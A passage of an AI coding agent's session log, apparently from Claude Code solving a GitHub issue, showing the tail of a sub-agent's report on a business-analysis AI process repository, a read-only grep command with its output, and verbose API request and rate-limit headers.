\u2192 delta \u2192 FR \u2192 acceptance criterion, which blocks (fail-closed) when the source is empty.\\n- **Hallucinated standard:** \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (\\\"GOST 34.602-2015 does not exist\\\"), in `kb/practices/source-backed-analysis.md`.\\n- **Honest gap:** \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (\\\"evals and golden set are missing\\\"), in `README.md`, `ai-governance/ai-governance.md:90` and `pr-ops/BACKLOG.md:324`. Many runs are explicitly labelled \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (\\\"not a golden case\\\").\\n- **Governing rule:** every BA operation must have a checklist, an eval metric or a human gate; \\\"\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439\\\" (\\\"an operation without a verification process is considered incomplete\\\").\\n\\n## Target pipeline, mapped to repo artifacts\\n- **Normalizing input:** ADR-011 steps 1\u20132 (download the spec, record a checksum, split it into numbered sub-items with verbatim quotes). RUN-0068 adds a transcription file with SHA-256 per screenshot and a validator that fails on a single-character change.\\n- **Checking against documentation:** a citation format pinned to a specific KB commit, a quote checker (0 mismatches), and cross-checking PDF text extraction with two libraries.\\n- **Generating from templates with source links:** the 26 prompts and 7 patterns, whose frontmatter fixes temperature at 0.1. There is no formal golden set; instead some outputs are named as the reference (RUN-0060's L4 report is \\\"\u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\\", the reference form; RUN-0066 is the reference in the A/B study).\\n- **Human gate:** ADR-009 defines three gates \u2014 G1 (requirement structure), G2 (risk sign-off), G3 (approval and baselining) \u2014 and rule B3 says they \\\"\u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM\\\" (\\\"must not be passed automatically by an LLM\\\"). The quick rules state \\\"Structured = fail-closed \u2026 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review\\\" (\\\"requests human review\\\"). RUN-0060 includes `human-review-checklist.md`.\\n- **Handing off to development:** ADR-011's L1 is one page for the customer (no JSON or API names allowed); L4 is for BA, SA and developers (JSON, diagrams, mappings). RUN-0060's L4 has 10 FR sections, 27 spec sub-items, 11 activity diagrams and 53 source footnotes. **I found no Jira or task-tracker export.**\\n\\n## Where it runs\\n- GigaCode and Cline appear nowhere in this repo, so their use can't be shown from it. Your working repo's backlog items B-219 to B-222 mention a GigaCode guide, but I didn't look into that.\\n- Early runs used the Qwen web chat: \\\"qwen3.7-plus \u2026 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\\\" in RUN-0014, and \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, auto_search: true) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\" (\\\"external chat \u2026 with no KB connected\\\") in RUN-0018.\\n- Later runs used the GitHub issue \u2192 PR AI solver with Claude Code (RUN-0067) and OpenAI Codex (RUN-0064, redacted trace in `docs/report/evidence/`).\\n- Supporting tools: local Python validators, a Makefile, GitHub Actions CI, and a GitHub Pages site.\\n\\n## Not determined\\n- There are no evals or golden-set results anywhere to cite.\\n- Metrics are self-reported in mixed formats (quality appears to be on a 1\u20135 scale, but this isn't stated), so any cross-run average is only indicative.\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"usage\": {\n[2026-09-29T07:49:38.155Z] [INFO]     \"total_tokens\": 33332,\n[2026-09-29T07:49:38.155Z] [INFO]     \"tool_uses\": 33,\n[2026-09-29T07:49:38.155Z] [INFO]     \"duration_ms\": 315840\n[2026-09-29T07:49:38.155Z] [INFO]   },\n[2026-09-29T07:49:38.155Z] [INFO]   \"uuid\": \"a7d3991b-1b83-472d-a3b8-b645e6ab9b07\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.155Z] [INFO] }\n[2026-09-29T07:49:38.165Z] [INFO] \ud83e\udd16 Sub-agent \"Analyze mango_ba_prompts history\" completed: 33332 total tokens\n[2026-09-29T07:49:39.484Z] [INFO] {\n[2026-09-29T07:49:39.484Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:39.484Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:39.484Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:49:39.484Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:39.484Z] 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research\"\n[2026-09-29T07:49:40.963Z] [INFO] }\n[2026-09-29T07:49:42.412Z] [INFO] {\n[2026-09-29T07:49:42.412Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"message\": {\n[2026-09-29T07:49:42.412Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"id\": \"msg_011CfXN53rgz4g9R6qiruH7q\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:42.412Z] [INFO]     \"content\": [\n[2026-09-29T07:49:42.412Z] [INFO]       {\n[2026-09-29T07:49:42.412Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:42.412Z] [INFO]         \"id\": \"toolu_017DtjUMtKabwGkRr5xABHFY\",\n[2026-09-29T07:49:42.412Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:42.412Z] [INFO]         \"input\": {\n[2026-09-29T07:49:42.412Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; ls docs/adr | grep -E \\\"013|014\\\"; F=projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n -i \\\"\u043f\u0440\u043e\u043c\u043f\u0442\\\" $F | head -15 | cut -c1-300; grep -n \\\"RUN-0059\\\\|RUN-0060\\\" $F | head -6 | cut -c1-400; grep -c \\\"^  - id\\\\|^- id\\\" projects/ba-ai-process/ba-meta-model/product-taxonomy/*.yaml\",\n[2026-09-29T07:49:42.412Z] [INFO]           \"description\": \"Verify ADR paths, quotes and run facts\"\n[2026-09-29T07:49:42.412Z] [INFO]         },\n[2026-09-29T07:49:42.412Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:42.412Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:42.412Z] [INFO]         }\n[2026-09-29T07:49:42.412Z] [INFO]       }\n[2026-09-29T07:49:42.412Z] [INFO]     ],\n[2026-09-29T07:49:42.412Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:42.412Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:42.412Z] [INFO]       \"cache_creation_input_tokens\": 11322,\n[2026-09-29T07:49:42.412Z] [INFO]       \"cache_read_input_tokens\": 62053,\n[2026-09-29T07:49:42.412Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:42.412Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:42.412Z] [INFO]         \"ephemeral_1h_input_tokens\": 11322\n[2026-09-29T07:49:42.412Z] [INFO]       },\n[2026-09-29T07:49:42.412Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:49:42.412Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:42.412Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:42.412Z] [INFO]     },\n[2026-09-29T07:49:42.412Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:42.412Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:42.412Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:42.412Z] [INFO]   },\n[2026-09-29T07:49:42.412Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:42.412Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"uuid\": \"8e88e438-f9dd-4af1-b7de-ab40bad8b653\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:42.404Z\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"request_id\": \"req_011CfXN53RQFrsSZHdNHJ8Aw\",\n[2026-09-29T07:49:42.412Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:49:42.412Z] [INFO]     \"toolu_017DtjUMtKabwGkRr5xABHFY\": {\n[2026-09-29T07:49:42.412Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; ls docs/adr | grep -E \\\"013|014\\\"; F=projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n -i \\\"\u043f\u0440\u043e\u043c\u043f\u0442\\\" $F | head -15 | cut -c1-300; grep -n \\\"RUN-0059\\\\|RUN-0060\\\" $F | head -6 | cut -c1-400; grep -c \\\"^  - id\\\\|^- id\\\" projects/ba-ai-process/ba-meta-model/product-taxonomy/*.yaml\",\n[2026-09-29T07:49:42.412Z] [INFO]       \"description\": \"Verify ADR paths, quotes and run facts\"\n[2026-09-29T07:49:42.412Z] [INFO]     }\n[2026-09-29T07:49:42.412Z] [INFO]   }\n[2026-09-29T07:49:42.412Z] [INFO] }\n[2026-09-29T07:49:44.115Z] [INFO] {\n[2026-09-29T07:49:44.115Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"message\": {\n[2026-09-29T07:49:44.115Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"content\": [\n[2026-09-29T07:49:44.115Z] [INFO]       {\n[2026-09-29T07:49:44.115Z] [INFO]         \"tool_use_id\": \"toolu_017DtjUMtKabwGkRr5xABHFY\",\n[2026-09-29T07:49:44.115Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:44.115Z] [INFO]         \"content\": \"2026-09-adr-013-run-modes-deprecation.md\\n2026-09-adr-014-legacy-evidence-not-baseline.md\\n125:| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n126:| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n360:- `[BCREQ-765 / RUN-0059]` HH.ru\u2194Mango architecture spike\\n361:- `[BCREQ-765 / RUN-0060]` combined HH.ru L4 report\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml:0\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml:0\",\n[2026-09-29T07:49:44.115Z] [INFO]         \"is_error\": false\n[2026-09-29T07:49:44.115Z] [INFO]       }\n[2026-09-29T07:49:44.115Z] [INFO]     ]\n[2026-09-29T07:49:44.115Z] [INFO]   },\n[2026-09-29T07:49:44.115Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:44.115Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"uuid\": \"fd92c024-1443-4ab8-ab54-1811e88cb2b8\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:44.109Z\",\n[2026-09-29T07:49:44.115Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:44.115Z] [INFO]     \"stdout\": \"2026-09-adr-013-run-modes-deprecation.md\\n2026-09-adr-014-legacy-evidence-not-baseline.md\\n125:| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n126:| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n360:- `[BCREQ-765 / RUN-0059]` HH.ru\u2194Mango architecture spike\\n361:- `[BCREQ-765 / RUN-0060]` combined HH.ru L4 report\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml:0\\nprojects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml:0\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:49:44.115Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:49:44.115Z] [INFO]     \"returnCodeInterpretation\": \"No matches found\",\n[2026-09-29T07:49:44.115Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:49:44.115Z] [INFO]   }\n[2026-09-29T07:49:44.115Z] [INFO] }\n[2026-09-29T07:49:44.185Z] [STDOUT] [log_53d4c6] sending request {\n[2026-09-29T07:49:44.189Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:49:44.195Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:44.207Z] [STDOUT]   options: {\n[2026-09-29T07:49:44.210Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:49:44.213Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:49:44.218Z] [STDOUT]     body: {\n[2026-09-29T07:49:44.223Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:49:44.241Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:49:44.248Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:49:44.255Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:49:44.257Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:49:44.259Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:49:44.261Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:49:44.264Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:49:44.266Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:49:44.268Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:49:44.270Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:49:44.272Z] [STDOUT]       stream: true,\n[2026-09-29T07:49:44.274Z] [STDOUT]     },\n[2026-09-29T07:49:44.276Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:49:44.279Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:49:44.281Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:44.283Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:44.284Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:44.286Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:44.292Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:44.294Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:44.295Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:44.297Z] [STDOUT]     },\n[2026-09-29T07:49:44.299Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:44.301Z] [STDOUT]   },\n[2026-09-29T07:49:44.304Z] [STDOUT]   headers: {\n[2026-09-29T07:49:44.306Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:44.308Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:49:44.311Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:49:44.313Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:49:44.315Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:49:44.317Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:49:44.318Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:49:44.320Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:44.321Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:44.323Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1677\",\n[2026-09-29T07:49:44.324Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:44.326Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:44.328Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:44.330Z] [STDOUT]     \"x-client-request-id\": \"025d35b1-312c-4bdb-9092-fa7225a11c8c\",\n[2026-09-29T07:49:44.332Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:44.333Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:44.335Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:44.339Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:44.353Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:44.365Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:44.373Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:44.374Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:44.378Z] [STDOUT]   },\n[2026-09-29T07:49:44.381Z] [STDOUT] }\n[2026-09-29T07:49:44.969Z] [STDOUT] [log_53d4c6, request-id: \"req_011CfXN5sxAHrJ87BXUsKEdj\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 783ms\n[2026-09-29T07:49:44.981Z] [STDOUT] [log_53d4c6] response start {\n[2026-09-29T07:49:44.985Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:44.988Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:44.993Z] [STDOUT]   headers: {\n[2026-09-29T07:49:44.995Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:44.997Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:45.003Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:45.012Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:45.018Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:45.021Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.027Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:45.035Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:45.045Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:45.049Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:45.052Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:45.056Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:45.060Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:45.064Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.067Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:45.070Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:45.074Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:45.079Z] [STDOUT]     \"cf-ray\": \"a429649739b729ad-FRA\",\n[2026-09-29T07:49:45.082Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:45.084Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:45.089Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:45.093Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:45.097Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:44 GMT\",\n[2026-09-29T07:49:45.104Z] [STDOUT]     \"request-id\": \"req_011CfXN5sxAHrJ87BXUsKEdj\",\n[2026-09-29T07:49:45.113Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:45.138Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:45.146Z] [STDOUT]     traceresponse: \"00-0ec9a94b673e09dda94eebd7f2406edf-3a3a07a5cb03ec70-01\",\n[2026-09-29T07:49:45.151Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:45.158Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:49:45.161Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:45.167Z] [STDOUT]   },\n[2026-09-29T07:49:45.169Z] [STDOUT]   durationMs: 783,\n[2026-09-29T07:49:45.171Z] [STDOUT] }\n[2026-09-29T07:49:45.173Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:49:45.175Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:49:44 GMT\",\n[2026-09-29T07:49:45.179Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:45.183Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:45.185Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:49:45.187Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:45.189Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:45.191Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:45.193Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:49:45.201Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:45.204Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:45.209Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:45.211Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:45.215Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:45.221Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:45.235Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:45.240Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:45.249Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.257Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:45.259Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:45.261Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:45.265Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:45.267Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.269Z] [STDOUT]   \"request-id\": \"req_011CfXN5sxAHrJ87BXUsKEdj\",\n[2026-09-29T07:49:45.271Z] [STDOUT]   \"traceresponse\": \"00-0ec9a94b673e09dda94eebd7f2406edf-3a3a07a5cb03ec70-01\",\n[2026-09-29T07:49:45.272Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:45.274Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:45.276Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:49:45.277Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:45.280Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:45.287Z] [STDOUT]   \"cf-ray\": 